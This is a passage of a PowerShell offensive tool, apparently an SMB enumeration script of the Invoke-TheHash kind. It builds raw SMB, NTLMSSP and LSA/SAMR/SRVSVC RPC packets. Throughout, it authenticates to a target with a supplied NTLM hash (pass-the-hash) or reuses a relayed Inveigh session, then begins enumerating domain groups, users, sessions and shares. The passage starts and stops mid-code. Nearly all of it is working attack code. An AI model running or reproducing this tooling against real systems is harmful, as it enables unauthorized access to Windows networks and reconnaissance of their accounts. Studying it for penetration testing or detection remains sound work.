$LSAQueryInfoPolicy.Add("Level",[Byte[]](0x05,0x00)) return $LSAQueryInfoPolicy } function New-PacketLSAClose { param([Byte[]]$Handle) $LSAClose = New-Object System.Collections.Specialized.OrderedDictionary $LSAClose.Add("PointerToHandle",$Handle) return $LSAClose } function New-PacketLSALookupSids { param([Byte[]]$Handle,[Byte[]]$SIDArray) $LSALookupSids = New-Object System.Collections.Specialized.OrderedDictionary $LSALookupSids.Add("PointerToHandle",$Handle) $LSALookupSids.Add("PointerToSIDs_SIDArray",$SIDArray) $LSALookupSids.Add("PointerToNames_count",[Byte[]](0x00,0x00,0x00,0x00)) $LSALookupSids.Add("PointerToNames_NULL_pointer",[Byte[]](0x00,0x00,0x00,0x00)) $LSALookupSids.Add("PointerToNames_level",[Byte[]](0x01,0x00)) $LSALookupSids.Add("PointerToCount",[Byte[]](0x00,0x00)) $LSALookupSids.Add("PointerToCount_count",[Byte[]](0x00,0x00,0x00,0x00)) return $LSALookupSids } # SAMR function New-PacketSAMRConnect2 { param([String]$SystemName) [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) if($SystemName.Length % 2) { $system_name += 0x00,0x00 } else { $system_name += 0x00,0x00,0x00,0x00 } $SAMRConnect2 = New-Object System.Collections.Specialized.OrderedDictionary $SAMRConnect2.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $SAMRConnect2.Add("PointerToSystemName_MaxCount",$max_count) $SAMRConnect2.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SAMRConnect2.Add("PointerToSystemName_ActualCount",$max_count) $SAMRConnect2.Add("PointerToSystemName_SystemName",$system_name) $SAMRConnect2.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) return $SAMRConnect2 } function New-PacketSAMRConnect5 { param([String]$SystemName) $SystemName = "\\" + $SystemName [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName) [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1) if($SystemName.Length % 2) { $system_name += 0x00,0x00 } else { $system_name += 0x00,0x00,0x00,0x00 } $SAMRConnect5 = New-Object System.Collections.Specialized.OrderedDictionary $SAMRConnect5.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $SAMRConnect5.Add("PointerToSystemName_MaxCount",$max_count) $SAMRConnect5.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SAMRConnect5.Add("PointerToSystemName_ActualCount",$max_count) $SAMRConnect5.Add("PointerToSystemName_SystemName",$system_name) $SAMRConnect5.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) $SAMRConnect5.Add("LevelIn",[Byte[]](0x01,0x00,0x00,0x00)) $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn",[Byte[]](0x01,0x00,0x00,0x00)) $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_ClientVersion",[Byte[]](0x02,0x00,0x00,0x00)) $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_Unknown",[Byte[]](0x00,0x00,0x00,0x00)) return $SAMRConnect5 } function New-PacketSAMRGetMembersInAlias { param([Byte[]]$Handle) $SAMRGetMembersInAlias = New-Object System.Collections.Specialized.OrderedDictionary $SAMRGetMembersInAlias.Add("PointerToConnectHandle",$Handle) return $SAMRGetMembersInAlias } function New-PacketSAMRClose { param([Byte[]]$Handle) $SAMRClose = New-Object System.Collections.Specialized.OrderedDictionary $SAMRClose.Add("PointerToConnectHandle",$Handle) return $SAMRClose } function New-PacketSAMROpenAlias { param([Byte[]]$Handle,[Byte[]]$RID) $SAMROpenAlias = New-Object System.Collections.Specialized.OrderedDictionary $SAMROpenAlias.Add("PointerToConnectHandle",$Handle) $SAMROpenAlias.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) $SAMROpenAlias.Add("RID",$RID) return $SAMROpenAlias } function New-PacketSAMROpenGroup { param([Byte[]]$Handle,[Byte[]]$RID) $SAMROpenGroup = New-Object System.Collections.Specialized.OrderedDictionary $SAMROpenGroup.Add("PointerToConnectHandle",$Handle) $SAMROpenGroup.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) $SAMROpenGroup.Add("RID",$RID) return $SAMROpenGroup } function New-PacketSAMRQueryGroupMember { param([Byte[]]$Handle) $SAMRQueryGroupMember = New-Object System.Collections.Specialized.OrderedDictionary $SAMRQueryGroupMember.Add("PointerToGroupHandle",$Handle) return $SAMRQueryGroupMember } function New-PacketSAMROpenDomain { param([Byte[]]$Handle,[Byte[]]$SIDCount,[Byte[]]$SID) $SAMROpenDomain = New-Object System.Collections.Specialized.OrderedDictionary $SAMROpenDomain.Add("PointerToConnectHandle",$Handle) $SAMROpenDomain.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02)) $SAMROpenDomain.Add("PointerToSid_Count",$SIDCount) $SAMROpenDomain.Add("PointerToSid_Sid",$SID) return $SAMROpenDomain } function New-PacketSAMREnumDomainUsers { param([Byte[]]$Handle) $SAMREnumDomainUsers = New-Object System.Collections.Specialized.OrderedDictionary $SAMREnumDomainUsers.Add("PointerToDomainHandle",$Handle) $SAMREnumDomainUsers.Add("PointerToResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) $SAMREnumDomainUsers.Add("AcctFlags",[Byte[]](0x10,0x00,0x00,0x00)) $SAMREnumDomainUsers.Add("MaxSize",[Byte[]](0xff,0xff,0x00,0x00)) return $SAMREnumDomainUsers } function New-PacketSAMRLookupNames { param([Byte[]]$Handle,[String]$Names) [Byte[]]$names_bytes = [System.Text.Encoding]::Unicode.GetBytes($Names) [Byte[]]$name_len = ([System.BitConverter]::GetBytes($names_bytes.Length))[0,1] [Byte[]]$max_count = [System.BitConverter]::GetBytes($Names.Length) $SAMRLookupNames = New-Object System.Collections.Specialized.OrderedDictionary $SAMRLookupNames.Add("PointerToDomainHandle",$Handle) $SAMRLookupNames.Add("NumNames",[Byte[]](0x01,0x00,0x00,0x00)) $SAMRLookupNames.Add("PointerToNames_MaxCount",[Byte[]](0xe8,0x03,0x00,0x00)) $SAMRLookupNames.Add("PointerToNames_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SAMRLookupNames.Add("PointerToNames_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) $SAMRLookupNames.Add("PointerToNames_Names_NameLen",$name_len) $SAMRLookupNames.Add("PointerToNames_Names_NameSize",$name_len) $SAMRLookupNames.Add("PointerToNames_Names_Name_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $SAMRLookupNames.Add("PointerToNames_Names_Name_MaxCount",$max_count) $SAMRLookupNames.Add("PointerToNames_Names_Name_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SAMRLookupNames.Add("PointerToNames_Names_Name_ActualCount",$max_count) $SAMRLookupNames.Add("PointerToNames_Names_Name_Names",$names_bytes) return $SAMRLookupNames } function New-PacketSAMRLookupRids { param([Byte[]]$Handle,[Byte[]]$RIDCount,[Byte[]]$Rids) $SAMRLookupRIDS = New-Object System.Collections.Specialized.OrderedDictionary $SAMRLookupRIDS.Add("PointerToDomainHandle",$Handle) $SAMRLookupRIDS.Add("NumRids",$RIDCount) $SAMRLookupRIDS.Add("Unknown",[Byte[]](0xe8,0x03,0x00,0x00,0x00,0x00,0x00,0x00)) $SAMRLookupRIDS.Add("NumRids2",$RIDCount) $SAMRLookupRIDS.Add("Rids",$Rids) return $SAMRLookupRIDS } # SRVSVC function New-PacketSRVSVCNetSessEnum { param([String]$ServerUNC) [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) if($ServerUNC.Length % 2) { $server_UNC += 0x00,0x00 } else { $server_UNC += 0x00,0x00,0x00,0x00 } $SRVSVCNetSessEnum = New-Object System.Collections.Specialized.OrderedDictionary $SRVSVCNetSessEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $SRVSVCNetSessEnum.Add("PointerToServerUNC_MaxCount",$max_count) $SRVSVCNetSessEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToServerUNC_ActualCount",$max_count) $SRVSVCNetSessEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) $SRVSVCNetSessEnum.Add("PointerToClient_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) $SRVSVCNetSessEnum.Add("PointerToClient_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToClient_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToClient_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToClient_Client",[Byte[]](0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToUser",[Byte[]](0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToUser_ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) $SRVSVCNetSessEnum.Add("PointerToUser_MaxCount",[Byte[]](0x01,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToUser_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToUser_ActualCount",[Byte[]](0x01,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToUser_User",[Byte[]](0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToLevel",[Byte[]](0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToLevel_Level",[Byte[]](0x0a,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_Ctr",[Byte[]](0x0a,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_ReferentID",[Byte[]](0x0c,0x00,0x02,0x00)) $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_Count",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetSessEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ReferentID",[Byte[]](0x10,0x00,0x02,0x00)) $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) return $SRVSVCNetSessEnum } function New-PacketSRVSVCNetShareEnumAll { param([String]$ServerUNC) $ServerUNC = "\\" + $ServerUNC [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC) [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1) if($ServerUNC.Length % 2) { $server_UNC += 0x00,0x00 } else { $server_UNC += 0x00,0x00,0x00,0x00 } $SRVSVCNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary $SRVSVCNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $SRVSVCNetShareEnum.Add("PointerToServerUNC_MaxCount",$max_count) $SRVSVCNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetShareEnum.Add("PointerToServerUNC_ActualCount",$max_count) $SRVSVCNetShareEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC) $SRVSVCNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x00,0x00)) $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x00,0x00)) $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00)) $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00)) $SRVSVCNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff)) $SRVSVCNetShareEnum.Add("ReferentID",[Byte[]](0x08,0x00,0x02,0x00)) $SRVSVCNetShareEnum.Add("ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00)) return $SRVSVCNetShareEnum } function Get-UInt16DataLength { param ([Int]$Start,[Byte[]]$Data) $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) return $data_length } function Get-StatusPending { param ([Byte[]]$Status) if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') { $status_pending = $true } return $status_pending } if($hash -like "*:*") { $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) } if($Domain) { $output_username = $Domain + "\" + $Username } else { $output_username = $Username } if($PSBoundParameters.ContainsKey('Session')) { $inveigh_session = $true } if($PSBoundParameters.ContainsKey('Session')) { if(!$Inveigh) { Write-Output "[-] Inveigh Relay session not found" $startup_error = $true } elseif(!$inveigh.session_socket_table[$session].Connected) { Write-Output "[-] Inveigh Relay session not connected" $startup_error = $true } $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString } $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) [Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} if(!$inveigh_session) { $client = New-Object System.Net.Sockets.TCPClient $client.Client.ReceiveTimeout = 5000 } if(!$startup_error -and !$inveigh_session) { try { $client.Connect($Target,"445") } catch { Write-Output "[-] $Target did not respond" } } if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) { $client_receive = New-Object System.Byte[] 81920 if(!$inveigh_session) { $client_stream = $client.GetStream() $stage = 'NegotiateSMB' while($stage -ne 'Exit') { try { switch ($stage) { 'NegotiateSMB' { $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') { $SMB_version = 'SMB1' $stage = 'NTLMSSPNegotiate' if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') { if($SigningCheck) { Write-Output "[+] SMB signing is required" $stage = 'Exit' } else { Write-Verbose "[+] SMB signing is required" $SMB_signing = $true $session_key_length = 0x00,0x00 $negotiate_flags = 0x15,0x82,0x08,0xa0 } } else { if($SigningCheck) { Write-Output "[+] SMB signing is not required" $stage = 'Exit' } else { $SMB_signing = $false $session_key_length = 0x00,0x00 $negotiate_flags = 0x05,0x82,0x08,0xa0 } } } else { $stage = 'NegotiateSMB2' if([System.BitConverter]::ToString($client_receive[70]) -eq '03') { if($SigningCheck) { Write-Output "[+] SMB signing is required" $stage = 'Exit' } else { Write-Verbose "[+] SMB signing is required" $SMB_signing = $true $session_key_length = 0x00,0x00 $negotiate_flags = 0x15,0x82,0x08,0xa0 } } else { if($SigningCheck) { Write-Output "[+] SMB signing is not required" $stage = 'Exit' } else { $SMB_signing = $false $session_key_length = 0x00,0x00 $negotiate_flags = 0x05,0x80,0x08,0xa0 } } } Write-Verbose "[+] SMB version is $SMB_version" } 'NegotiateSMB2' { $tree_ID = 0x00,0x00,0x00,0x00 $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 $message_ID = 1 $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'NTLMSSPNegotiate' } 'NTLMSSPNegotiate' { if($SMB_version -eq 'SMB1') { $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 } $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { $message_ID++ $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'Exit' } } } catch { $error_message = $_.Exception.Message $error_message = $error_message -replace "`n","" Write-Output "[-] $error_message" } } if(!$SigningCheck) { $NTLMSSP = [System.BitConverter]::ToString($client_receive) $NTLMSSP = $NTLMSSP -replace "-","" $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") $NTLMSSP_bytes_index = $NTLMSSP_index / 2 $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive $session_ID = $client_receive[44..51] $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $auth_hostname = (Get-ChildItem -path env:computername).Value $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) $auth_domain_length = $auth_domain_length[0,1] $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) $auth_domain_length = $auth_domain_length[0,1] $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) $auth_username_length = $auth_username_length[0,1] $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) $auth_hostname_length = $auth_hostname_length[0,1] $auth_domain_offset = 0x40,0x00,0x00,0x00 $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 $HMAC_MD5.key = $NTLM_hash_bytes $username_and_target = $username.ToUpper() $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) $username_and_target_bytes += $auth_domain_bytes $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $security_blob_bytes = 0x01,0x01,0x00,0x00, 0x00,0x00,0x00,0x00 + $target_time_bytes + $client_challenge_bytes + 0x00,0x00,0x00,0x00 + $target_details + 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00 $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes $HMAC_MD5.key = $NTLMv2_hash $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) if($SMB_signing) { $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) $session_key = $session_base_key $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 $HMAC_SHA256.key = $session_key } $NTLMv2_response = $NTLMv2_response + $security_blob_bytes $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) $NTLMv2_response_length = $NTLMv2_response_length[0,1] $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, 0x03,0x00,0x00,0x00, 0x18,0x00, 0x18,0x00 + $auth_LM_offset + $NTLMv2_response_length + $NTLMv2_response_length + $auth_NTLM_offset + $auth_domain_length + $auth_domain_length + $auth_domain_offset + $auth_username_length + $auth_username_length + $auth_username_offset + $auth_hostname_length + $auth_hostname_length + $auth_hostname_offset + $session_key_length + $session_key_length + $SMB_session_key_offset + $negotiate_flags + $auth_domain_bytes + $auth_username_bytes + $auth_hostname_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $NTLMv2_response if($SMB_version -eq 'SMB1') { $SMB_user_ID = $client_receive[32,33] $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 } $packet_SMB_header["UserID"] = $SMB_user_ID $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { $message_ID++ $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } try { $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if($SMB_version -eq 'SMB1') { if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') { Write-Verbose "[+] $output_username successfully authenticated on $Target" Write-Output "[-] SMB1 is not supported" $login_successful = $false } else { Write-Output "[-] $output_username failed to authenticate on $Target" $login_successful = $false } } else { if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') { Write-Verbose "[+] $output_username successfully authenticated on $Target" $login_successful = $true } else { Write-Output "[-] $output_username failed to authenticate on $Target" $login_successful = $false } } } catch { $error_message = $_.Exception.Message $error_message = $error_message -replace "`n","" Write-Output "[-] $error_message" $login_successful = $false } } } if($login_successful -or $inveigh_session) { if($inveigh_session) { if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') { Write-Output "[*] Pausing due to Inveigh Relay session lock" Start-Sleep -s 2 } $inveigh.session_lock_table[$session] = 'locked' $client = $inveigh.session_socket_table[$session] $client_stream = $client.GetStream() $session_ID = $inveigh.session_table[$session] $message_ID = $inveigh.session_message_ID_table[$session] $tree_ID = 0x00,0x00,0x00,0x00 $SMB_signing = $false } if($Action -eq 'All') { $action_stage = 'group' } else { $action_stage = $Action } $path = "\\" + $Target + "\IPC$" $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) $j = 0 $stage = 'TreeConnect' while ($stage -ne 'Exit') { try { switch ($stage) { 'CloseRequest' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SMB_data = New-PacketSMB2CloseRequest $file_ID $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if(Get-StatusPending $client_receive[12..15]) { $stage = 'StatusPending' $stage_next = 'StatusReceived' } else { $stage = 'StatusReceived' } } 'Connect2' { $message_ID++ $stage_current = $stage $packet_SMB_header = New-PacketSMB2Header 0x0b,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID $packet_SAMR_data = New-PacketSAMRConnect2 $Target $SAMR_data = ConvertFrom-PacketOrderedDictionary $packet_SAMR_data $packet_SMB_data = New-PacketSMB2IoctlRequest 0x17,0xc0,0x11,0x00 $file_ID $SAMR_data.Length 4280 $packet_RPC_data = New-PacketRPCRequest 0x03 $SAMR_data.Length 0 0 0x06,0x00,0x00,0x00 0x00,0x00 0x39,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length + $SAMR_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $SMB_header + $SMB_data + $RPC_data + $SAMR_data $SMB_signature = $HMAC_SHA256.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..15] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SAMR_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) 